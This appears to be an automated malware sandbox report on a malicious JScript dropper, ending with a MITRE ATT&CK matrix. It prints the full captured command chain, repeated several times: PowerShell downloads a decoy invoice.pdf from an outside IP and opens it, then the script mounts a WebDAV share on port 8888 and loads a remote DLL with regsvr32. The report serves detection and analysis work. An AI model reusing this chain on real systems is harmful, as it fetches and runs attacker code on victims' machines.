Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\915.js.csv");ITextStream.WriteLine(" entry:7726 f:ylizs");ITextStream.WriteLine(" exec:2 f:ylizs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49740

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4332			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5508			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4568	Thread sleep count: 4332 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4568	Thread sleep count: 5508 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5632	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6772	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5520	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7436	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2261871633.000001CFB241E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3497525854.000001BD8EC58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3496105774.000001BD8962B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: net.exe, 00000007.00000002.2261445063.000001CFB23B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
